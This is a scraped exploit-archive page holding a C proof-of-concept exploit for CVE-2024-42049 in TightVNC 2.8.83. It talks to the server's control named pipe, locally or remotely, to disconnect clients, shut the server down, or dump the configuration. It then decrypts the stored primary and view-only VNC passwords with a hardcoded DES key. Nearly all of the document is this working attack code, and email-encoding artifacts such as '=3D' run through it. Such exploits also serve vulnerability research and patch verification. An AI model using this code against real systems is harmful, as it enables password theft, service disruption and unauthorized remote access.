
5 changes to exploits/shellcodes/ghdb TightVNC 2.8.83 - Control Pipe Manipulation Laravel Pulse 1.3.1 - Arbitrary Code Injection Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege ProSSHD 1.2 20090726 - Denial of Service (DoS)
252 lines
No EOL
6.2 KiB
C
252 lines
No EOL
6.2 KiB
C
# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
|
|
# Date: 06/09/2025
|
|
# Exploit Author: Ionut Zevedei (mail@izvd.eu)
|
|
# Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC
|
|
# Vendor Homepage: https://www.tightvnc.com/
|
|
# Software Link: https://www.tightvnc.com/download.php
|
|
# Version: 2.8.83
|
|
# Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81
|
|
# CVE : CVE-2024-42049
|
|
|
|
#include <windows.h>=20
|
|
#include <stdio.h>
|
|
#include <conio.h>
|
|
#include <tchar.h>
|
|
#include "descrypt.h"
|
|
|
|
#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
|
|
#define BUFFER_SIZE 512
|
|
|
|
#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
|
|
#define TVNC_CMD_GET_CLIENT_LIST 0x04
|
|
#define TVNC_CMD_SHUTDOWN_SERVER 0x07
|
|
#define TVNC_CMD_GET_SERVER_INFO 0x11
|
|
#define TVNC_CMD_GET_CONFIG 0x12
|
|
|
|
const unsigned int commands[6] =3D {
|
|
TVNC_CMD_DISCONNECT_ALL_CLIENTS,
|
|
TVNC_CMD_GET_CLIENT_LIST,
|
|
TVNC_CMD_SHUTDOWN_SERVER,
|
|
TVNC_CMD_GET_SERVER_INFO,
|
|
TVNC_CMD_GET_CONFIG,
|
|
};
|
|
|
|
unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };
|
|
|
|
void get_bytes(unsigned int data, unsigned char* out) {
|
|
out[0] =3D GETBYTE(data, 3);
|
|
out[1] =3D GETBYTE(data, 2);
|
|
out[2] =3D GETBYTE(data, 1);
|
|
out[3] =3D GETBYTE(data, 0);
|
|
}
|
|
|
|
// printf is wonky when printing passwords later
|
|
void print_passwd(unsigned char* passwd) {
|
|
for (int i =3D 0; i < 8; i++) {
|
|
printf("%c", passwd[i]);
|
|
}
|
|
printf("\n");
|
|
}
|
|
|
|
void print_error(unsigned long error_code) {
|
|
unsigned char* buffer;
|
|
=20
|
|
// damn it windows...
|
|
FormatMessage(
|
|
FORMAT_MESSAGE_ALLOCATE_BUFFER |
|
|
FORMAT_MESSAGE_FROM_SYSTEM |
|
|
FORMAT_MESSAGE_IGNORE_INSERTS,
|
|
NULL,
|
|
error_code,
|
|
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
|
(LPTSTR) &buffer,
|
|
0, NULL);
|
|
|
|
printf("[error]: %s\n", buffer);
|
|
}
|
|
|
|
void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
|
|
unsigned char primary_passwd[8] =3D { 0x00 };
|
|
unsigned char view_only_passwd[8] =3D { 0x00 };
|
|
|
|
printf("\n\tencrypted primary password: ");
|
|
for (int i =3D 0; i < 8; i++) {
|
|
primary_passwd[i] =3D buffer_ptr[offset + 8 + i];
|
|
printf("%02x ", primary_passwd[i]);
|
|
}
|
|
printf("\n\tencrypted view-only password: ");
|
|
for (int i =3D 0; i < 8; i++) {
|
|
view_only_passwd[i] =3D buffer_ptr[offset + i];
|
|
printf("%02x ", view_only_passwd[i]);
|
|
}
|
|
|
|
|
|
unsigned char primary_passwd_decrypted[8] =3D { 0x00 };
|
|
unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };
|
|
|
|
decrypt(primary_passwd_decrypted, view_only_passwd,
|
|
sizeof(primary_passwd_decrypted), des_key);
|
|
decrypt(view_only_passwd_decrypted, primary_passwd,
|
|
sizeof(view_only_passwd_decrypted), des_key);
|
|
|
|
printf("\n\tdecrypted primary password: ");
|
|
print_passwd(primary_passwd_decrypted);
|
|
printf("\tdecrypted view-only password: ");
|
|
print_passwd(view_only_passwd_decrypted);
|
|
}
|
|
|
|
BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
|
|
unsigned long pipe_mode;
|
|
BOOL result =3D FALSE;
|
|
printf("[~] opening pipe %s...\n", pipe_name);
|
|
|
|
while (1) {
|
|
*handle_ptr =3D CreateFile(
|
|
pipe_name,
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
0,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
FILE_FLAG_OVERLAPPED,
|
|
NULL
|
|
);
|
|
|
|
if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {
|
|
printf("[+] pipe opened\n");
|
|
break;
|
|
}
|
|
|
|
if (GetLastError() !=3D ERROR_PIPE_BUSY) {
|
|
printf("[-] could not open pipe\n");
|
|
print_error(GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
printf("[~] waiting for named pipe to be available - if this hangs the =
|
|
pipe server might be dead.\n");
|
|
|
|
WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
|
|
}
|
|
|
|
pipe_mode =3D PIPE_READMODE_BYTE;
|
|
result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);
|
|
|
|
if (!result) {
|
|
printf("[-] failed setting pipe read mode\n");
|
|
print_error(GetLastError());
|
|
return result;
|
|
}
|
|
|
|
return result;
|
|
}
|
|
|
|
int main(int argc, char* argv[]) {
|
|
|
|
HANDLE pipe_handle =3D NULL;
|
|
unsigned char message[8] =3D { 0x00 };
|
|
unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };
|
|
BOOL result =3D FALSE;
|
|
unsigned long bytes_read, bytes_written;
|
|
unsigned int cmd_index =3D 0;
|
|
unsigned int offset =3D 30;
|
|
|
|
if (argc < 3) {
|
|
printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
|
|
printf("offset - optional: default is 30 - change as needed\n");
|
|
printf("commands:\n");
|
|
printf("\t1 - disconnect all clients\n");
|
|
printf("\t2 - get client list\n");
|
|
printf("\t3 - shutdown server\n");
|
|
printf("\t4 - get server info\n");
|
|
printf("\t5 - get server config\n");
|
|
printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=
|
|
rol\n");
|
|
printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
|
|
return 0;
|
|
}
|
|
|
|
char* stop =3D NULL;
|
|
cmd_index =3D strtol(argv[1], &stop, 10);
|
|
|
|
if (stop =3D=3D '\0') {
|
|
return 0;
|
|
}
|
|
|
|
cmd_index--;
|
|
|
|
if (argc =3D=3D 4) {
|
|
stop =3D NULL;
|
|
offset =3D strtol(argv[3], &stop, 10);
|
|
|
|
if (offset =3D=3D 0 || stop =3D=3D '\0') {
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
if (!open_pipe(&pipe_handle, argv[2])) {
|
|
goto exit;
|
|
}
|
|
|
|
printf("[i] sending command...\n");
|
|
=20
|
|
get_bytes(commands[cmd_index], message);
|
|
result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);
|
|
|
|
if (!result) {
|
|
printf("[-] failed writing to pipe\n");
|
|
print_error(GetLastError());
|
|
goto exit;
|
|
}
|
|
|
|
printf("[~] message sent; waiting for reply\n");
|
|
|
|
do {
|
|
result =3D ReadFile(
|
|
pipe_handle,
|
|
buffer,
|
|
BUFFER_SIZE * sizeof(unsigned char),
|
|
&bytes_read,
|
|
NULL
|
|
);
|
|
|
|
if (!result && GetLastError() !=3D ERROR_MORE_DATA)
|
|
break;
|
|
|
|
printf("[+] got %d bytes back!\n", bytes_read);
|
|
printf(" hex: \n\t");
|
|
|
|
for (int i =3D 0; i < bytes_read; i++) {
|
|
printf("%02x ", buffer[i]);
|
|
}
|
|
|
|
printf("\n char: \n\t");
|
|
for (int i =3D 0; i < bytes_read; i++) {
|
|
printf("%c", buffer[i]);
|
|
}
|
|
printf("\n\n");
|
|
|
|
if (cmd_index =3D=3D 4) {
|
|
printf("\n[~] command is get config, attempting to decrypt passwords =
|
|
using offset %d...\n", offset);
|
|
decrypt_passwords(&buffer, offset);
|
|
}
|
|
|
|
memset(buffer, 0, BUFFER_SIZE);
|
|
} while (!result);
|
|
|
|
if (!result)
|
|
{
|
|
printf("[-] failed reading from pipe\n");
|
|
print_error(GetLastError());
|
|
goto exit;
|
|
}
|
|
|
|
printf("\n[+] done\n\n");
|
|
|
|
exit:
|
|
if (pipe_handle !=3D NULL) {
|
|
CloseHandle(&pipe_handle);
|
|
}
|
|
|
|
return 0;
|
|
} |